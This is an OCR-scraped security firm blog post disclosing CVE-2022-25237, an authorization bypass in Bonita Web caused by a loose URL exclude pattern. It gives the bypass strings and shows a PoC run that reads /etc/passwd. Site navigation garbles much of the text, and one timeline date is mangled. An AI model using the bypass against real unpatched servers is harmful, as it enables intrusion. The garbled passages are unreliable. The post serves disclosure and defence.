=

CONTACT US (HTTPS://RHINOSECURITYLABS.COM/CONTACT/)

Strategic and Technical Blog (https://rhinosecuritylabs.com/blog) >>

GET A QUOTE

Application Security (https://rhinosecuritylabs.com/application-security/)

(HTTPS://RHINOSECURITYLABS.COM/LANDING/REQUEST-A-QUOTE/)

s://rh

ASSESSMENTS ➤ (/ASSESSMENT-SERVICES/)

CVE-200252RIES SHIPS TRHIBS OF THE FORTH THE STOP OF THE PROPERTY OF THE PROPE

inasthorization Byplass and Refeources/)

SECURITY BLOG (HTTPS://RHINOSECURITYLABS.COM/BLOG/)

curit

COMPANY ~ (HTTPS://RHINOSECURITYLABS.COM/COMPANY/)

ylabs

Vulnerability Overview

Affected Product

.com

Bonita Web 2021.2 is affected by an authentication/authorization bypass vulnerability due to an overly broad filter pattern used in the API authorization filters.

By appending a crafted string to the API URL, users with no privileges can access privileged API endpoints. This can lead to remote code execution by abusing the privileged API actions to deploy malicious code onto the server.

Vendor: Bonitasoft

Product: Bonita Platform

Confirmed Vulnerable Version: < 2022.1-u0

Fixed Versions: For community:

• 2022.1-u0 (7.14.0)

For subscription:

५ (888) 944-8679 (TEL:1-888-944-8679)

- 2022.1-u0 (7.14.0)
- 2021.2-u4 (7.13.4) CONTACT US (HTTPS://RHINOSECURITYLABS.COM/CONTACT/)
- 2021.1-0307 (7.12.11)

GET A QUOTE

(HTTPS://RHINOSECURITYLABS.COM/LANDING/REQUEST-A-QUOTE/) **Vulnerable Versions**: Official Docker image (https://hub.docker.com/_/bonita)

s://rh

ASSESSMENTS ➤ (/ASSESSMENT-SERVICES/)

INDUSTRIES WHO BY ITAR OF LABS. COM/INDUSTRY/)

RESOURCES ~ (HTTPS://RHINOSECURITYLABS.COM/RESOURCES/)
Bonitasoft has 5M+ downloads from Dockerhub, it is a business automation platform allowing to more @ESILYPOLYICL/OEPIBY TAPAT/WRATINGESECTION TO THE PROPERTY TO THE PR

CUrit COMPANY ~ (HTTPS://RHINOSECURITYLABS.COM/COMPANY/)
From the vendor's website:

Bonita is an open-source and extensible platform for business process automation and optimization. Bonita Platform accelerates the development, go-to-production, and maintenance of automation projects. While allowing users to execute tasks that impact their business data, it also efficiently integrates with existing information systems and orchestrates heterogeneous systems, some of them being soft robots.

It plowides theep visibility of process execution across the organization through its embedded end-user applications or the Living applications built by the project team to perfectly fit the business needs.

Technical Vulnerability Details

The web.xml file for a Tomcat Java application defines the routes within the application. It also can define how the authentication and authorization of routes in the application are handled. It is always one of the first places to look for potential authentication and authorization bypasses. Specifically, the "filters" defined in the web.xml can often be fruitful as they can determine what should or should not be filtered with authorization to access a particular route.

The following authorization filters specify an excludePattern parameter of (888) 944-8679 (TEL:1-888-944-8679) "i18ntranslation" and then pass the parameter to 2 different filter classes:

RestAPIAuthorizationFilter, TokenValidatorFilter.

CONTACT US (HTTPS://RHINOSECURITYLABS.COM/CONTACT/)

```
<!--Rest filter -->
                                                                                        GET A OUOTE
            <filter-name>RestAPIAuthorizationFilter</filter-name>
            <filter-qhtFPRS:nhRthMOSE@URMPYEABSL@OMHEANDHWGAREQUESIIA<QUGTEA>>
            <init-param>
65
               <param-name>excludePatterns</param-name>
               <paASSESSMENTSatto(KASSESSMENT-SERVICES/)</pre>
           </init-param>
68
        </filter>
        <filter>
69
70
            <filter-name>RestAPIAuthorizationFilterToolkit</filter-name>
      Se<sup>(filter</sup>RESOURCES*V(\PTFPS:/WRHINOSECURITY LABS!COW/RESOURCESK)
               <param-name>excludePatterns</param-name>
73
               <paSECURITYLBLQGi(H石TBS:///RHINOSECURITYLABS.COM/BLOG/)</p>
74
75
           </init-param>
76
        </filter>
                                                 HINOSECURITYLABS.COM/COMPANY/
        <filter>
78
79
           <filter-name>TokenGeneratorFilter</filter-name>
80
           <filter-class>org.bonitasoft.console.common.server.login.filter.TokenGeneratorFilter</filter-class>
        </filter>
81
            Token Validator Filter -->
        (filter>
           <filter-name>TokenValidatorFilter</filter-name>
84
85
           <filter-class>org.bonitasoft.console.common.server.login.filter.TokenValidatorFilter</filter-class>
           <init-param>
86
               <param-name>excludePatterns</param-name>
               <param-value>i18ntranslation,session</param-value>
89
           </init-param>
90
        </filter>
```

Taking a look at these filters they both extend the AbstractAuthorizationFilter, which contains the doFilter method. Inside the doFilter method. A check using the "sessionIsNotNeeded" function is used, which will continue the application flow if it returns true.

```
51
        @Over<u>ri</u>de
                                           └ (888) 944-8679 (TEL:1-888-944-8679)
52
        public void doFilter(final ServletRequest request, final ServletResponse
            //we need contact us thrips://rhinosecurityLabs.com/contact)
53
54
            MultiReadHttpServletRequest httpRequest = new MultiReadHttpServletRe
            final HttpServletResponse httpResponse = (HttpServletResponse)
55
            final String requestURL = httpRequest.getRequestURI();
57
               (HTTPS://RHINOSECURITYLABS.COM/LANDING/REQUEST-A-QUOTE/)
58
            if (sessionIsNotNeeded(requestURL, excludePatterns)) {
              ASSESSMENTS ((ASSESSMENT-SERMCES/)se);
            } else if (checkValidCondition(httpRequest, httpResponse)) {
              INDUSTRIES ~ (HTTPS://BHINOSECURITYLABS.COM/INDUSTRY/)
```

RESOURCES ~ (HTTPS://RHINOSECURITYLABS.COM/RESOURCES/)
The session snot Needed function shown below checks for exclude Patterns in URLs. If
the URL contains shis patteraling he parts: the his sauther zatable filter is by passed
allowing access to the resource.

```
CLIPIT COMPANY > (HTTPS://RHINOSECURITYLABS.COM/COMPANY/)
```

```
70
         protected boolean sessionIsNotNeeded(final String requestURL, final String excludePatterns) {
71
             boolean isMatched = false;
             if (excludePatterns != null) {
                 final String[] patterns = excludePatterns.split(",");
                 for (int i = 0, size = patterns.length; i < size; i++) {
                     if (requestURL.contains(patterns[i])) {
                         isMatched = true;
76
77
                         break;
79
80
             return isMatched;
81
82
```

As we saw in the web.xml, the pattern which is passed in this parameter is "i18ntranslation" This means if this string is anywhere in the URL path, it will allow authorization/authentication to be bypassed for the API endpoints.

Two values were found that work to accomplish this. Simply appending either "/i18ntranslation/../" or ";i18ntranslation" to the API URL will allow authorization to be bypassed.

Caveat: Although this technically allows a full authentication bypass, its not able to be exploited without a valid user session. The user doesn't need permissions, as long as they have a valid session token. In the case of a null session, the application will error CONTACT US (HTTPS://RHINOSECURITYLABS.COM/CONTACT/) out if it is unable to lookup values based on the session token, causing the bypass to fail.

GET A QUOTE

(http

(Bogaite HEXPLOIR TPLASOF ON LANDINGER DE L'EST-A-QUOTE/)

ASSESSMENTS ~ (/ASSESSMENT-SERVICES/)
To fun the vulnerable version of Bonita, you can use the docker repository:

INDUSTRIES ~ (HTTPS://RHINOSECURITYLABS.COM/INDUSTRY/)
docker run -name CVE-2022-25237 -d -p 8080:8080 bonita:7.13.0

Loging Sim://localhost:8080/bonita (http://localhost:8080/bonita) and create a low privileged user in the "User" profile. We have published a Poc that achieves code execution on our CVE GitHub repository.

(https://github.com/Rhipasecurity-tabs/GVEs/trestmagter/CVEs2032/253879ANY/)

```
rhino~/# python3 CVE-2022-25237.py test test http://localhost:8080/bonita "cat /etc/passwd"
root:x:0:0:root:/root:/bin/bash
daemon: >::1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:1:2 bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:k:3:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup.x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
bonita:x:1000:1000:Bonita User:/opt/bonita/:/sbin/nologin
```

Conclusion

Disclosure Timeline

This is a good reminder that when using matching patterns and regular expressions to [888] 944-8679 (TEL:1-888-944-8679) implement security controls it is important to always be as strict as possible with those patterns and thoroughly test them to look for unintended behavior.

CONTACT US (HTTPS://RHINOSECURITYLABS.COM/CONTACT/)

We also want to thank the Bonitasoft team for working with us on getting this patched in altimely manner. As always, feel free to follow us on Twitter for more refeases what blog posts: @RhinoSecurity (https://twitter.com/RhinoSecurity), @daveysec (https://twitter.com/daveysec/BHINOSECURITYLABS.COM/LANDING/REQUEST-A-QUOTE/)

2/18/2022	ASSESSMENTS × (/ASSESSMENT SERVICES/) Reported to Bonitasoft	
2/21/2022	BonitsoftNeQUested EGarMidatlioThDG:tMRP60OSECURITYLABS.COM/INDUSTRY/)	
2/23/2022 3/14/2025	Rhino sent a corrected payload for the PoC RESOURCES > (HTTPS://RHINOSECURITYLABS.COM/RESOURCES/) Bonitasoft shares update on patching and a workaround for the vulnerability	
4/5/2022	Bonitasoft Confirm fixes nave been reieased to Community and Bubscription versions	

Related Resources

ylabs

(https://rhinosecuritylabs.com/research/microweber-database-disclosure/)

CVE-2020-13405: MicroWeber
Unauthenticated User Database Disclosure

(https://rhinosecuritylabs.com/research/java-deserializationusing-ysoserial/)

Java Deserialization Exploitation With Customized Ysoserial Payloads

(https://rhinosecuritylabs.com/research/fuzzing-left4dead-2-with-fuzzing-framework/)

Basic Fuzzing Framework 944-8679 (TEL:1-888-944-8679)

CONTACT US (HTTPS://RHINOSECURITYLABS.COM/CONTACT/)

(http

≡

GET A QUOTE

(HTTPS://RHINOSECURITYLABS.COM/LANDING/REQUEST-A-QUOTE/)

s.//rInterested insmokes information?

INDUSTRIES V (HTTPS://RHANOSECURITYLABS.COM/INDUSTRY/)

inose

RESOURCES ~ (HTCPD:tarthUsoToday RITYLABS)COM/RESOURCES/)

SECURITY BLOG (HTTPS://RHINOSECURITYLABS.COM/BLOG/)

curit

COMPANY ~ (HTTPS://RHINOSECURITYLABS.COM/COMPANY/)

ASSESSMENT SERVICES (HTTPS://RHINOSECURITYLABS.COM/ASSESSMENT-SERVICES/)

Net**Work Penet**ration Test (https://rhinosecuritylabs.com/assessment-services/network-penetration-testing/)

Webapp benetration Test (https://rhinosecuritylabs.com/assessment-services/web-penetration-testing/)

AWS Cloud Penetration Testing (https://rhinosecuritylabs.com/assessment-services/aws-cloud-penetration-testing/)

GCP Cloud Penetration Testing (https://rhinosecuritylabs.com/assessment-services/gcp-penetration-testing/)

Azure Penetration Testing (https://rhinosecuritylabs.com/assessment-services/azure-penetration-testing/)

Mobile alphasessment (https://rhinosecuritylabs.com/assessment-services/mobile-app-assessment/)

Secure Code Review (https://rhinosecuritylabs.com/assessment-services/secure-code-review/)

Social Engineering / Phishing Testing (https://rhinosecuritylabs.com/assessment-services/social-engineering/)

Vishing (Voice Call) Testing (https://rhinosecuritylabs.com/assessment-services/social-engineering/vishing-assessments/)

Red Team Engagements (https://rhinosecuritylabs.com/assessment-services/red-team-engagement/)

INDUSTRIES (HTTPS://RHINOSECURITYLABS.COM/INDUSTRY/)

Healthcare (https://rhinosecuritylabs.com/industry/healthcare/)

Finance (https://rhinosecuritylabs.com/industry/financial/)

Technology (https://rhinosecuritylabs.com/industry/technology/)

Retail (https://rhinosecuritylabs.com/industry/retail/)

RESOURCES (HTTPS://RHINOSECURITYLABS.COM/RESOURCES/)

Technical Blog (https://rhinosecuritylabs.com/blog-technical/)

Strategic Blog (https://rhinosecuritylabs.com/blog-strategic/)

Example Pentest Report (https://rhinosecuritylabs.com/landing/penetration-test-report/)

Technical Research (https://rhinosecuritylabs.com/research-and-vulnerability-disclosure/)

Vulnerability Disclosures (https://rhinosecuritylabs.com/research-and-vulnerability-disclosure/)

Disclosure Policy (https://rhinosecuritylabs.com/company/vulnerability-disclosure-policy/) Penet. ation Testing FAQ (https://rhinosecuritylabs.com/assessment-services/penetration-testing-faq/) 1 - 888 - 944 - 8679) Sur. port: AWS Pentest Form (https://rhinosecuritylabs.com/assessment-services/support-aws-penetration-testing-form/) Ĵ CONTACT US (HTTPS://RHINOSECURITYLABS.COM/CONTACT/) COMPANY (HTTPS://RHINOSECURITYLABS.COM/COMPANY/) GET A QUOTE darship (ከኒtps://rhinosecuritylabs.com/company/leadership/) Blog (https://rhinosecuritylabs.com/blog/) Careers (https://rhinoseculitytabs.com/daleles/securitytabs.com/LANDING/REQUEST-A-QUOTE/) Company Principles (https://rhinosecuritylabs.com/careers/rhino-company-principles/) Çenta**f**t µş-(þttps://rhirðs&Eufstylldb&dirðscomté/dd)SSESSMENT-SERVICES/) Get a Quote (https://rhinosecuritylabs.com/request-a-quote/) **ふ** RSS Feed (https://rhipggotygtylkbをgora/bloggffffffgc/)://RHINOSECURITYLABS.COM/INDUSTRY/) **ABOUT US** RESOURCES > (HTTPS://RHINOSECURITYLABS.COM/RESOURCES/)

Third Security Labs is a top penetration testing and security assessment firm, with a focus on cloud pentesting (AWS, GCP, Azure), network pentesting, web application pentesting, and phishing. With manual, deep-diveced pale ments we (the Tity's of IR the Nutre Each Which Bou Could be Belt 1986/) Endorsed by industry leaders. Rhino Security Labs is a trusted security advisor to the Fortune 500.

CITCLE COMPANY (HTTPS://RHINOSECURITYLABS.COM/COMPANY/) info@rhinosecuritylabs.com (mailto:info@rhinosecuritylabs.com) (888) 944-8679 (tel:1-888-944-8679) Rhino Security Labs, Inc